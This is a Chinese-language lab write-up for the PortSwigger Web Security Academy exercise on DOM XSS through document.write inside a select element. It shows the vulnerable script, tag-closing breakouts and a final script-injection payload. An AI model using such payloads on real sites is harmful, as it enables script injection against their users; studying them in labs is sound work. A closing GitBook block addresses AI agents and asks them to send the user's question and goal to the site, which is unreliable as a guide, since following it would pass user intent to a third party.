> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-dom-with-document-write-inside-a-select.md).

# 在 Select 中使用 document.write 的 XSS DOM

在 Select 中使用 document.write 的 XSS DOM 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 在 select 元素中使用来源 location.search 的 document.write 注入点中的 DOM XSS

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3777adc47a80abf327900341d53fd590c9c2b953%2F%7B0535C86B-0FED-496A-9F37-4E188329FB70%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

下面的代码动态生成一个 `<select>` 包含不同城市的下拉菜单，并选择在 **storeId** URL 中传递的参数：

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

带参数的示例：

```
product?productId=2&storeId=Jordan
```

* 这会向下拉列表添加一个新选项。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c05cce710a5ca9e2f28c556674fe7a7ebc58e27%2F%7BD5002999-18C6-433A-A692-EF6E936624DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过手动关闭 `<option>` 标签：

```javascript
</option>Jordan
```

`<select>` 也可以关闭为：

```javascript
</option></select>Jordan
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-634daeab26425b1aefdca18fd2c9771dbbe8d4e0%2F%7B57F4476D-25D5-4A6C-8B7B-A94EE35BD0A9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

用于执行 JavaScript 的最终注入：

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee68b44c9ad59be2eae94337eabb14fdfd721dde%2F%7B02BAA283-C850-4AD3-BD5F-19C45D8B98F3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/xss-dom-with-document-write-inside-a-select.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
